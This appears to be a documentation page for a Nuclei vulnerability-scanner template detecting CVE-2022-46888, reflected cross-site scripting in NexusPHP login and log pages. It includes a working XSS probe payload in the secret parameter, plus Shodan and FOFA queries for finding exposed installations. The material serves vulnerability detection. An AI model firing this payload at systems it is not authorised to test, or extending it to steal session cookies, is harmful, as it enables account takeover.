Skip to content
Nuclei Templates

NexusPHP <1.7.33 - Cross-Site Scripting

ID: CVE-2022-46888

Severity: medium

Author: r3Y3r53

Tags: cve,cve2022,nexus,php,nexusphp,xss

Description

Section titled “Description”

NexusPHP before 1.7.33 contains multiple cross-site scripting vulnerabilities via the secret parameter in /login.php; q parameter in /user-ban-log.php; query parameter in /log.php; text parameter in /moresmiles.php; q parameter in myhr.php; or id parameter in /viewrequests.php. An attacker can inject arbitrary web script or HTML, which can allow theft of cookie-based authentication credentials and launch of other attacks..

YAML Source

Section titled “YAML Source”
id: CVE-2022-46888


info:
  name: NexusPHP <1.7.33 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    NexusPHP before 1.7.33 contains multiple cross-site scripting vulnerabilities via the secret parameter in /login.php; q parameter in /user-ban-log.php; query parameter in /log.php; text parameter in /moresmiles.php; q parameter in myhr.php; or id parameter in /viewrequests.php. An attacker can inject arbitrary web script or HTML, which can allow theft of cookie-based authentication credentials and launch of other attacks..
  remediation: |
    Upgrade to NexusPHP version 1.7.33 or later to mitigate this vulnerability.
  reference:
    - https://www.surecloud.com/resources/blog/nexusphp-surecloud-security-review-identifies-authenticated-unauthenticated-vulnerabilities
    - https://github.com/xiaomlove/nexusphp/releases/tag/v1.7.33
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46888
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46888
    cwe-id: CWE-79
    epss-score: 0.00143
    epss-percentile: 0.50061
    cpe: cpe:2.3:a:nexusphp:nexusphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nexusphp
    product: nexusphp
    shodan-query:
      - http.favicon.hash:-582931176
      - cpe:"cpe:2.3:a:nexusphp:nexusphp"
    fofa-query: icon_hash=-582931176
  tags: cve,cve2022,nexus,php,nexusphp,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/login.php?secret="><script>alert(document.domain)</script>'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>">'
          - 'NexusPHP'
        case-insensitive: true
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a00463044022036ceabebaab3eab15fa20ff07b251df52c2293fbf086cb088d25d06fbf30aefb02201df92df4993000bc07668ab2479becb9fa526a7420a5c62b6fca9f5b62e96a36:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-46888.yaml"

View on Github